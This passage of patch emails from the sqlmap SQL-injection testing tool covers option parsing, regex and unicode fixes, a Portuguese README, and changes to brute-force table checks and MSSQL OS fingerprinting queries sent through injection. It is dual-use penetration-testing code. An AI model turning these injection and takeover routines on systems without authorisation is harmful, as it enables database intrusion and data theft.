"boolean", "identifyWaf": "boolean", + "ignore401": "boolean", "smokeTest": "boolean", "liveTest": "boolean", "stopFail": "boolean", diff --git a/lib/parse/cmdline.py b/lib/parse/cmdline.py index d3295c3a8..292482348 100644 --- a/lib/parse/cmdline.py +++ b/lib/parse/cmdline.py @@ -714,6 +714,9 @@ def cmdLineParser(): parser.add_option("--force-dns", dest="forceDns", action="store_true", help=SUPPRESS_HELP) + parser.add_option("--ignore-401", dest="ignore401", action="store_true", + help=SUPPRESS_HELP) + parser.add_option("--smoke-test", dest="smokeTest", action="store_true", help=SUPPRESS_HELP) diff --git a/lib/request/connect.py b/lib/request/connect.py index aeb85a36c..da5d9373c 100644 --- a/lib/request/connect.py +++ b/lib/request/connect.py @@ -493,7 +493,7 @@ class Connect(object): logger.log(CUSTOM_LOGGING.TRAFFIC_IN, responseMsg) - if e.code == httplib.UNAUTHORIZED: + if e.code == httplib.UNAUTHORIZED and not conf.ignore401: errMsg = "not authorized, try to provide right HTTP " errMsg += "authentication type and valid credentials (%d)" % code raise SqlmapConnectionException(errMsg) From 2a55f75f868c0533f82dccb17c92c0ac6ef72f8a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 30 Apr 2014 21:25:45 +0200 Subject: [PATCH 296/889] Using a more generic XML recognition regex --- lib/core/settings.py | 4 ++-- lib/core/target.py | 4 ++-- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/lib/core/settings.py b/lib/core/settings.py index 58ca1d62e..f49f10463 100644 --- a/lib/core/settings.py +++ b/lib/core/settings.py @@ -541,8 +541,8 @@ LIMITED_ROWS_TEST_NUMBER = 15 # Format used for representing invalid unicode characters INVALID_UNICODE_CHAR_FORMAT = r"\?%02x" -# Regular expression for SOAP POST data -SOAP_RECOGNITION_REGEX = r"(?s)\A(<\?xml[^>]+>)?\s*<([^> ]+)( [^>]+)?>.+\s*\Z" +# Regular expression for XML POST data +XML_RECOGNITION_REGEX = r"(?s)\A\s*<[^>]+>(.+>)?\s*\Z" # Regular expression used for detecting JSON POST data JSON_RECOGNITION_REGEX = r'(?s)\A(\s*\[)*\s*\{.*"[^"]+"\s*:\s*("[^"]+"|\d+).*\}\s*(\]\s*)*\Z' diff --git a/lib/core/target.py b/lib/core/target.py index c1c007f1c..c3bed1647 100644 --- a/lib/core/target.py +++ b/lib/core/target.py @@ -50,13 +50,13 @@ from lib.core.settings import PROBLEMATIC_CUSTOM_INJECTION_PATTERNS from lib.core.settings import REFERER_ALIASES from lib.core.settings import RESTORE_MERGED_OPTIONS from lib.core.settings import RESULTS_FILE_FORMAT -from lib.core.settings import SOAP_RECOGNITION_REGEX from lib.core.settings import SUPPORTED_DBMS from lib.core.settings import UNENCODED_ORIGINAL_VALUE from lib.core.settings import UNICODE_ENCODING from lib.core.settings import UNKNOWN_DBMS_VERSION from lib.core.settings import URI_INJECTABLE_REGEX from lib.core.settings import USER_AGENT_ALIASES +from lib.core.settings import XML_RECOGNITION_REGEX from lib.utils.hashdb import HashDB from lib.core.xmldump import dumper as xmldumper from thirdparty.odict.odict import OrderedDict @@ -138,7 +138,7 @@ def _setRequestParams(): conf.data = re.sub(r"('(?P[^']+)'\s*:\s*)(-?\d[\d\.]*\b)", functools.partial(process, repl=r"\g<0>%s" % CUSTOM_INJECTION_MARK_CHAR), conf.data) kb.postHint = POST_HINT.JSON_LIKE - elif re.search(SOAP_RECOGNITION_REGEX, conf.data): + elif re.search(XML_RECOGNITION_REGEX, conf.data): message = "SOAP/XML data found in %s data. " % conf.method message += "Do you want to process it? [Y/n/q] " test = readInput(message, default="Y") From e7bc57b00bc1f667b1d639bcd232ecf46b54fbbb Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 4 May 2014 20:44:11 +0200 Subject: [PATCH 297/889] Fix for an Issue #683 --- plugins/generic/databases.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 1c2d2fbb9..2f581f163 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -615,7 +615,7 @@ class Databases: infoMsg += "in database '%s'" % unsafeSQLIdentificatorNaming(conf.db) logger.info(infoMsg) - if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL): + if Backend.getIdentifiedDbms() in (DBMS.MYSQL, DBMS.PGSQL, DBMS.HSQLDB): query = rootQuery.blind.count % (unsafeSQLIdentificatorNaming(tbl), unsafeSQLIdentificatorNaming(conf.db)) query += condQuery From 9ea9c19b55b53c2b6495c91683e0cc3e1a89b177 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vin=C3=ADcius=20Henrique=20Marangoni?= Date: Mon, 5 May 2014 02:35:32 -0300 Subject: [PATCH 298/889] Create README-Portugues.md --- doc/README-Portugues.md | 53 +++++++++++++++++++++++++++++++++++++++++ 1 file changed, 53 insertions(+) create mode 100644 doc/README-Portugues.md diff --git a/doc/README-Portugues.md b/doc/README-Portugues.md new file mode 100644 index 000000000..c897a27e9 --- /dev/null +++ b/doc/README-Portugues.md @@ -0,0 +1,53 @@ +sqlmap +== + +sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. + +Screenshots +---- + +![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) + +Você pode visitar a [coleção de screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. + +Instalação +---- + +Você pode fazer o download do arquivo tar mais recente clicando [aqui] +(https://github.com/sqlmapproject/sqlmap/tarball/master) ou do arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). + +De preferência, você pode fazer o download do sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): + + git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev + +sqlmap funciona em [Python](http://www.python.org/download/) nas versões **2.6.x** e **2.7.x** em todas as plataformas. + +Como usar +---- + +Para obter uma lista das opções básicas faça: + + python sqlmap.py -h + +Para obter a lista completa de opções faça: + + python sqlmap.py -hh + +Você pode encontrar alguns exemplos [aqui](https://gist.github.com/stamparm/5335217). +Para ter uma visão geral dos recursos do sqlmap, lista de recursos suportados e a descrição de todas as opções, juntamente com exemplos, aconselhamos que você consulte o [manual do usuário](https://github.com/sqlmapproject/sqlmap/wiki). + +Links +---- + +* Homepage: http://sqlmap.org +* Download: [.tar.gz](https://github.com/sqlmapproject/sqlmap/tarball/master) ou [.zip](https://github.com/sqlmapproject/sqlmap/zipball/master) +* Commits RSS feed: https://github.com/sqlmapproject/sqlmap/commits/master.atom +* Issue tracker: https://github.com/sqlmapproject/sqlmap/issues +* Manual do Usuário: https://github.com/sqlmapproject/sqlmap/wiki +* Perguntas frequentes (FAQ): https://github.com/sqlmapproject/sqlmap/wiki/FAQ +* Mailing list subscription: https://lists.sourceforge.net/lists/listinfo/sqlmap-users +* Mailing list RSS feed: http://rss.gmane.org/messages/complete/gmane.comp.security.sqlmap +* Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap +* Twitter: [@sqlmap](https://twitter.com/sqlmap) +* Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) +* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From ae5325ed315edfd742921c5f1ea74163c934e73f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Mon, 5 May 2014 22:17:01 +0200 Subject: [PATCH 299/889] Minor update regarding Issue #684 --- doc/{README-Portugues.md => translations/README-por.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename doc/{README-Portugues.md => translations/README-por.md} (100%) diff --git a/doc/README-Portugues.md b/doc/translations/README-por.md similarity index 100% rename from doc/README-Portugues.md rename to doc/translations/README-por.md From 99f852e7709e6e840226830826c90fb799573c8b Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?Vin=C3=ADcius=20Henrique=20Marangoni?= Date: Tue, 6 May 2014 00:43:34 -0300 Subject: [PATCH 300/889] Update README-por.md --- doc/translations/README-por.md | 14 +++++++------- 1 file changed, 7 insertions(+), 7 deletions(-) diff --git a/doc/translations/README-por.md b/doc/translations/README-por.md index c897a27e9..63a0bafc8 100644 --- a/doc/translations/README-por.md +++ b/doc/translations/README-por.md @@ -3,20 +3,20 @@ sqlmap sqlmap é uma ferramenta de teste de penetração de código aberto que automatiza o processo de detecção e exploração de falhas de injeção SQL. Com essa ferramenta é possível assumir total controle de servidores de banco de dados em páginas web vulneráveis, inclusive de base de dados fora do sistema invadido. Ele possui um motor de detecção poderoso, empregando as últimas e mais devastadoras técnicas de teste de penetração por SQL Injection, que permite acessar a base de dados, o sistema de arquivos subjacente e executar comandos no sistema operacional. -Screenshots +Imagens ---- -![Screenshot](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) +![Imagem](https://raw.github.com/wiki/sqlmapproject/sqlmap/images/sqlmap_screenshot.png) -Você pode visitar a [coleção de screenshots](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. +Você pode visitar a [coleção de imagens](https://github.com/sqlmapproject/sqlmap/wiki/Screenshots) que demonstra alguns dos recursos apresentados na wiki. Instalação ---- -Você pode fazer o download do arquivo tar mais recente clicando [aqui] -(https://github.com/sqlmapproject/sqlmap/tarball/master) ou do arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). +Você pode baixar o arquivo tar mais recente clicando [aqui] +(https://github.com/sqlmapproject/sqlmap/tarball/master) ou o arquivo zip mais recente clicando [aqui](https://github.com/sqlmapproject/sqlmap/zipball/master). -De preferência, você pode fazer o download do sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): +De preferência, você pode baixar o sqlmap clonando o repositório [Git](https://github.com/sqlmapproject/sqlmap): git clone https://github.com/sqlmapproject/sqlmap.git sqlmap-dev @@ -50,4 +50,4 @@ Links * Mailing list archive: http://news.gmane.org/gmane.comp.security.sqlmap * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demonstrações: [#1](http://www.youtube.com/user/inquisb/videos) e [#2](http://www.youtube.com/user/stamparm/videos) -* Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots +* Imagens: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots From bc4369be06532d38a2eaa807211ba721ba111c48 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2014 09:16:17 +0200 Subject: [PATCH 301/889] Fix for an Issue #687 --- lib/core/option.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/option.py b/lib/core/option.py index ab3f119a3..085a12c82 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1740,7 +1740,7 @@ def _useWizardInterface(): message = "POST data (--data) [Enter for None]: " conf.data = readInput(message, default=None) - if filter(lambda x: '=' in str(x), [conf.url, conf.data]) or '*' in conf.url: + if filter(lambda _: '=' in unicode(_), (conf.url, conf.data)) or '*' in conf.url: break else: warnMsg = "no GET and/or POST parameter(s) found for testing " From 6a3d7f28f117a9df5118b6c3feb22cba684d4042 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2014 09:21:00 +0200 Subject: [PATCH 302/889] Update for an Issue #686 --- doc/translations/{README-por.md => README-pt-BR.md} | 0 1 file changed, 0 insertions(+), 0 deletions(-) rename doc/translations/{README-por.md => README-pt-BR.md} (100%) diff --git a/doc/translations/README-por.md b/doc/translations/README-pt-BR.md similarity index 100% rename from doc/translations/README-por.md rename to doc/translations/README-pt-BR.md From 5755290f983ac631c24b2dc8d2066633ad07ae54 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2014 09:29:01 +0200 Subject: [PATCH 303/889] Update for an Issue #686 --- README.md | 7 ++++++- 1 file changed, 6 insertions(+), 1 deletion(-) diff --git a/README.md b/README.md index fc17c3824..897efd3b8 100644 --- a/README.md +++ b/README.md @@ -32,7 +32,7 @@ To get a list of all options and switches use: python sqlmap.py -hh -You can find sample runs [here](https://gist.github.com/stamparm/5335217). +You can find a sample run [here](https://gist.github.com/stamparm/5335217). To get an overview of sqlmap capabilities, list of supported features and description of all options and switches, along with examples, you are advised to consult the [user's manual](https://github.com/sqlmapproject/sqlmap/wiki). Links @@ -50,3 +50,8 @@ Links * Twitter: [@sqlmap](https://twitter.com/sqlmap) * Demos: [#1](http://www.youtube.com/user/inquisb/videos) and [#2](http://www.youtube.com/user/stamparm/videos) * Screenshots: https://github.com/sqlmapproject/sqlmap/wiki/Screenshots + +Translations +---- + +* [Portuguese](https://github.com/sqlmapproject/sqlmap/blob/master/doc/translations/README-pt-BR.md) From 5c4e4d18ee36ac333992586157ab8d9d13dd9b68 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Wed, 7 May 2014 09:35:45 +0200 Subject: [PATCH 304/889] Update for an Issue #686 --- doc/THANKS.md | 3 +++ 1 file changed, 3 insertions(+) diff --git a/doc/THANKS.md b/doc/THANKS.md index b1eb320d5..e90ff7f88 100644 --- a/doc/THANKS.md +++ b/doc/THANKS.md @@ -308,6 +308,9 @@ Michael Majchrowicz, * for providing really appreciated feedback * for suggesting a lot of ideas and features +Vinícius Henrique Marangoni, +* for contributing a Portuguese translation of README.md + Ahmad Maulana, * for contributing a tamper script halfversionedmorekeywords.py From 925517489041b39b2d22ea3ce2e5a7661d4f4c26 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 May 2014 22:39:56 +0200 Subject: [PATCH 305/889] Minor fix --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 9a6735678..c7d82293d 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1992,7 +1992,7 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): try: return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) except UnicodeDecodeError, ex: - value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] + return value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: return unicode(value) # encoding ignored for non-basestring instances else: From 5eae002084e4359c4376dfac18c0e5c2eaf7ca49 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 May 2014 22:45:43 +0200 Subject: [PATCH 306/889] Minor fix --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index c7d82293d..6240059b9 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1994,7 +1994,7 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): except UnicodeDecodeError, ex: return value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: - return unicode(value) # encoding ignored for non-basestring instances + return unicode(value, errors="ignore") # encoding ignored for non-basestring instances else: try: return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) From 8f0807d7f940c69beed9fed9f4e58ca00424bab8 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 9 May 2014 22:55:16 +0200 Subject: [PATCH 307/889] Another fix related to the last commit --- lib/core/common.py | 5 ++++- 1 file changed, 4 insertions(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 6240059b9..aed3675e4 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1994,7 +1994,10 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): except UnicodeDecodeError, ex: return value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: - return unicode(value, errors="ignore") # encoding ignored for non-basestring instances + try: + return unicode(value) + except UnicodeDecodeError: + return unicode(str(value), errors="ignore") # encoding ignored for non-basestring instances else: try: return getUnicode(value, sys.getfilesystemencoding() or sys.stdin.encoding) From 93bf8e2a139d530e1a3af505fa3b9ceb08c0277a Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 10 May 2014 01:11:19 +0200 Subject: [PATCH 308/889] Bug fix --- lib/utils/sqlalchemy.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/utils/sqlalchemy.py b/lib/utils/sqlalchemy.py index d35fcd1f1..104d75d4e 100644 --- a/lib/utils/sqlalchemy.py +++ b/lib/utils/sqlalchemy.py @@ -8,6 +8,7 @@ See the file 'doc/COPYING' for copying permission import imp import logging import os +import re import sys import warnings @@ -51,7 +52,7 @@ class SQLAlchemy(GenericConnector): conf.direct = "%s////%s" % (_[0], os.path.abspath(self.db)) if self.dialect: - conf.direct = conf.direct.replace(conf.dbms, self.dialect) + conf.direct = conf.direct.replace(conf.dbms, self.dialect, 1) engine = _sqlalchemy.create_engine(conf.direct, connect_args={'check_same_thread':False} if self.dialect == "sqlite" else {}) self.connector = engine.connect() From a72d73804ed388710edba09df6be499269874f97 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 10 May 2014 01:31:44 +0200 Subject: [PATCH 309/889] Revert of 925517489041b39b2d22ea3ce2e5a7661d4f4c26 (bug was introduced with it) --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index aed3675e4..3dc3308fc 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -1992,7 +1992,7 @@ def getUnicode(value, encoding=None, system=False, noneToNull=False): try: return unicode(value, encoding or kb.get("pageEncoding") or UNICODE_ENCODING) except UnicodeDecodeError, ex: - return value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] + value = value[:ex.start] + "".join(INVALID_UNICODE_CHAR_FORMAT % ord(_) for _ in value[ex.start:ex.end]) + value[ex.end:] else: try: return unicode(value) From 3a2916724c466930812a6cc3d7c45e7335220ad6 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sun, 11 May 2014 17:12:15 +0200 Subject: [PATCH 310/889] Minor style update --- lib/core/common.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/core/common.py b/lib/core/common.py index 3dc3308fc..19405db36 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -571,7 +571,7 @@ def paramToDict(place, parameters=None): warnMsg += "so sqlmap could be able to run properly" logger.warn(warnMsg) - message = "Are you sure you want to continue? [y/N] " + message = "are you sure you want to continue? [y/N] " test = readInput(message, default="N") if test[0] not in ("y", "Y"): raise SqlmapSilentQuitException From 4e8b41b86959b3199e011bf2dfd1cbe9d0340d79 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 May 2014 00:50:36 +0200 Subject: [PATCH 311/889] Patch for an Issue #688 --- lib/core/option.py | 2 ++ lib/techniques/brute/use.py | 26 ++++++++++++++++++++++++++ 2 files changed, 28 insertions(+) diff --git a/lib/core/option.py b/lib/core/option.py index 085a12c82..766985e53 100644 --- a/lib/core/option.py +++ b/lib/core/option.py @@ -1606,6 +1606,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.chars.stop = "%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, randomStr(length=3, lowercase=True), KB_CHARS_BOUNDARY_CHAR) kb.chars.at, kb.chars.space, kb.chars.dollar, kb.chars.hash_ = ("%s%s%s" % (KB_CHARS_BOUNDARY_CHAR, _, KB_CHARS_BOUNDARY_CHAR) for _ in randomStr(length=4, lowercase=True)) + kb.columnExistsChoice = None kb.commonOutputs = None kb.counters = {} kb.data = AttribDict() @@ -1704,6 +1705,7 @@ def _setKnowledgeBaseAttributes(flushAll=True): kb.testQueryCount = 0 kb.threadContinue = True kb.threadException = False + kb.tableExistsChoice = None kb.timeValidCharsRun = 0 kb.uChar = NULL kb.unionDuplicates = False diff --git a/lib/techniques/brute/use.py b/lib/techniques/brute/use.py index 92f95f465..11754e1b8 100644 --- a/lib/techniques/brute/use.py +++ b/lib/techniques/brute/use.py @@ -16,6 +16,7 @@ from lib.core.common import getPageWordSet from lib.core.common import hashDBWrite from lib.core.common import randomInt from lib.core.common import randomStr +from lib.core.common import readInput from lib.core.common import safeStringFormat from lib.core.common import safeSQLIdentificatorNaming from lib.core.common import unsafeSQLIdentificatorNaming @@ -24,6 +25,7 @@ from lib.core.data import kb from lib.core.data import logger from lib.core.enums import DBMS from lib.core.enums import HASHDB_KEYS +from lib.core.enums import PAYLOAD from lib.core.exception import SqlmapDataException from lib.core.exception import SqlmapMissingMandatoryOptionException from lib.core.settings import METADB_SUFFIX @@ -49,6 +51,18 @@ def _addPageTextWords(): return wordsList def tableExists(tableFile, regex=None): + if kb.tableExistsChoice is None and any(_ not in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)): + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common table existence check" + logger.warn(warnMsg) + + message = "are you sure you want to continue? [y/N] " + test = readInput(message, default="N") + kb.tableExistsChoice = test[0] in ("y", "Y") + + if not kb.tableExistsChoice: + return None + result = inject.checkBooleanExpression("%s" % safeStringFormat(BRUTE_TABLE_EXISTS_TEMPLATE, (randomInt(1), randomStr()))) if conf.db and Backend.getIdentifiedDbms() in (DBMS.ORACLE, DBMS.DB2): @@ -141,6 +155,18 @@ def tableExists(tableFile, regex=None): return kb.data.cachedTables def columnExists(columnFile, regex=None): + if kb.columnExistsChoice is None and any(_ not in kb.injection.data for _ in (PAYLOAD.TECHNIQUE.TIME, PAYLOAD.TECHNIQUE.STACKED)): + warnMsg = "it's not recommended to use '%s' and/or '%s' " % (PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.TIME], PAYLOAD.SQLINJECTION[PAYLOAD.TECHNIQUE.STACKED]) + warnMsg += "for common column existence check" + logger.warn(warnMsg) + + message = "are you sure you want to continue? [y/N] " + test = readInput(message, default="N") + kb.columnExistsChoice = test[0] in ("y", "Y") + + if not kb.columnExistsChoice: + return None + if not conf.tbl: errMsg = "missing table parameter" raise SqlmapMissingMandatoryOptionException(errMsg) From 0f581ccb6c1c6ad95cfe5287dda26117f7573729 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 13 May 2014 15:36:28 +0200 Subject: [PATCH 312/889] Minor fix --- lib/takeover/web.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/lib/takeover/web.py b/lib/takeover/web.py index d2b8376af..e732eb6c1 100644 --- a/lib/takeover/web.py +++ b/lib/takeover/web.py @@ -214,7 +214,7 @@ class Web: uploaded = False directory = ntToPosixSlashes(normalizePath(directory)) - if not isWindowsDriveLetterPath(directory) and directory[0] != '/': + if not isWindowsDriveLetterPath(directory) and not directory.startswith('/'): directory = "/%s" % directory else: directory = directory[2:] if isWindowsDriveLetterPath(directory) else directory From fc3c321b0105df321112f8b957d219d0a32082dc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 15 May 2014 19:08:41 +0200 Subject: [PATCH 313/889] Minor update --- plugins/generic/takeover.py | 7 ++----- 1 file changed, 2 insertions(+), 5 deletions(-) diff --git a/plugins/generic/takeover.py b/plugins/generic/takeover.py index 06b5d54db..e4aa96249 100644 --- a/plugins/generic/takeover.py +++ b/plugins/generic/takeover.py @@ -336,12 +336,9 @@ class Takeover(Abstraction, Metasploit, ICMPsh, Registry, Miscellaneous): msg = "this technique is likely to DoS the DBMS process, are you " msg += "sure that you want to carry with the exploit? [y/N] " - inp = readInput(msg, default="N") + choice = readInput(msg, default="N") - if inp and inp[0].lower() == "y": - dos = True - else: - dos = False + dos = choice and choice[0].lower() == "y" if dos: self.initEnv(mandatory=False, detailed=True) From c51e219cc1d93518d8ea2ad624aca2958687396c Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Thu, 15 May 2014 19:39:18 +0200 Subject: [PATCH 314/889] Fix for an Issue #691 --- plugins/dbms/mssqlserver/fingerprint.py | 17 ++++++++--------- 1 file changed, 8 insertions(+), 9 deletions(-) diff --git a/plugins/dbms/mssqlserver/fingerprint.py b/plugins/dbms/mssqlserver/fingerprint.py index c20935c79..f869c089e 100644 --- a/plugins/dbms/mssqlserver/fingerprint.py +++ b/plugins/dbms/mssqlserver/fingerprint.py @@ -137,16 +137,16 @@ class Fingerprint(GenericFingerprint): versions = { "2003": ("5.2", (2, 1)), # TODO: verify this #"2003": ("6.0", (2, 1)), - "2008": ("7.0", (1,)), + "2008": ("7.0", (2, 1,)), "2000": ("5.0", (4, 3, 2, 1)), "7": ("6.1", (1, 0)), - "XP": ("5.1", (2, 1)), + "XP": ("5.1", (3, 2, 1)), "NT": ("4.0", (6, 5, 4, 3, 2, 1)) } # Get back-end DBMS underlying operating system version for version, data in versions.items(): - query = "(SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Windows NT " + data[0] + "%')>0" + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Windows NT " + data[0] + "%')" result = inject.checkBooleanExpression(query) if result: @@ -169,13 +169,12 @@ class Fingerprint(GenericFingerprint): # Get back-end DBMS underlying operating system service pack sps = versions[Backend.getOsVersion()][1] - for sp in sps: - query = "SELECT LEN(%s) FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) - query += "LIKE '%Service Pack " + getUnicode(sp) + "%'" - result = inject.goStacked(query) + query = "EXISTS(SELECT %s FROM %s WHERE %s " % (self.tblField, self.fileTblName, self.tblField) + query += "LIKE '%Service Pack " + getUnicode(sp) + "%')" + result = inject.checkBooleanExpression(query) - if result is not None and len(result) > 0 and result[0].isdigit(): + if result: Backend.setOsServicePack(sp) break From c181e909b58309de693e7ed6e17d4199f159af55 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Fri, 16 May 2014 23:47:00 +0200 Subject: [PATCH 315/889] Minor fix --- lib/request/inject.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/lib/request/inject.py b/lib/request/inject.py index ff6b72349..11645e44d 100644 --- a/lib/request/inject.py +++ b/lib/request/inject.py @@ -423,7 +423,8 @@ def getValue(expression, blind=True, union=True, error=True, time=True, fromUser if not kb.testMode and value is None and Backend.getDbms() and conf.dbmsHandler and not conf.noCast and not conf.hexConvert: warnMsg = "in case of continuous data retrieval problems you are advised to try " - warnMsg += "a switch '--no-cast' or switch '--hex'" + warnMsg += "a switch '--no-cast' " + warnMsg += "or switch '--hex'" if Backend.getIdentifiedDbms() not in (DBMS.ACCESS, DBMS.FIREBIRD) else "" singleTimeWarnMessage(warnMsg) return extractExpectedValue(value, expected) From 67115ed5583a68ee76cf533b114c9f4fb10b75f4 Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Sat, 17 May 2014 15:00:09 +0200 Subject: [PATCH 316/889] Minor fix (for a bug reported via ML) --- plugins/generic/databases.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 2f581f163..9f057a568 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -9,6 +9,7 @@ from lib.core.agent import agent from lib.core.common import arrayizeValue from lib.core.common import Backend from lib.core.common import filterPairValues +from lib.core.common import flattenValue from lib.core.common import getLimitRange from lib.core.common import isInferenceAvailable from lib.core.common import isListLike @@ -172,7 +173,7 @@ class Databases: kb.data.cachedDbs.sort() if kb.data.cachedDbs: - kb.data.cachedDbs = list(set(kb.data.cachedDbs)) + kb.data.cachedDbs = list(set(flattenValue(kb.data.cachedDbs))) return kb.data.cachedDbs From 401f8961758b789a05b890ffac88fa4ae866a37f Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 May 2014 13:44:10 +0200 Subject: [PATCH 317/889] Patch related to the Issue #696 --- plugins/generic/databases.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/plugins/generic/databases.py b/plugins/generic/databases.py index 9f057a568..af0796a4f 100644 --- a/plugins/generic/databases.py +++ b/plugins/generic/databases.py @@ -173,7 +173,7 @@ class Databases: kb.data.cachedDbs.sort() if kb.data.cachedDbs: - kb.data.cachedDbs = list(set(flattenValue(kb.data.cachedDbs))) + kb.data.cachedDbs = filter(None, list(set(flattenValue(kb.data.cachedDbs)))) return kb.data.cachedDbs From babe49f086d24522bd1313745c80937fdf3f43fc Mon Sep 17 00:00:00 2001 From: Miroslav Stampar Date: Tue, 20 May 2014 17:14:40 +0200 Subject: [PATCH 318/889] Minor update (added new warning message) --- lib/core/common.py | 6 ++++++ 1 file changed, 6 insertions(+) diff --git a/lib/core/common.py b/lib/core/common.py index 19405db36..df22dd4f5 100755 --- a/lib/core/common.py +++ b/lib/core/common.py @@ -2215,6 +2215,12 @@ def urlencode(value, safe="%&=-_", convall=False, limit=False, spaceplus=False): if conf.get("direct"): return value + if 